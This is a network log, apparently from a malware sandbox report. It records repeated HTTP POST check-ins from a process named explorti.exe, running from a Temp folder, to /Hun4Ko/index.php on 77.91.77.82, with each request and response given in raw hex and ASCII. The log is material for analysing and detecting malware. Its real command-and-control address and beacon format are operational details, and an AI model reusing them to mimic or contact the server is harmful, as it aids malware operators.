Jun 28, 2024 22:32:57.674237013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:57.674901009 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:57.900696993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49778	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:58.019963980 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:58.818073034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:58.818856955 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:59.034446001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49779	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:59.144902945 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:59.844990969 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:59.845808029 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:00.071121931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49780	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:00.192162991 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:00.896332026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:00.897046089 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:01.115840912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49781	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:01.223056078 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:01.941770077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:01.971678972 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:02.196908951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49782	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:02.319087029 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:03.044114113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:03.045149088 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:03.273097038 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49783	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:03.394998074 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:04.094258070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:04.095009089 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:04.312370062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49784	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:04.431318045 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:05.173809052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:05.177953005 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:05.393923044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49785	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:05.505218029 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:06.209510088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:06.215795040 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:06.433398008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49786	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:06.551877975 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:07.290595055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:07.291466951 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:07.521553993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49787	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:07.630888939 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:08.327198982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:08.329253912 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:08.616317034 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49788	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:08.723952055 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:09.414895058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:09.415647030 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:09.638513088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49789	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:09.754523993 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:10.459054947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:10.459754944 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:10.684489965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
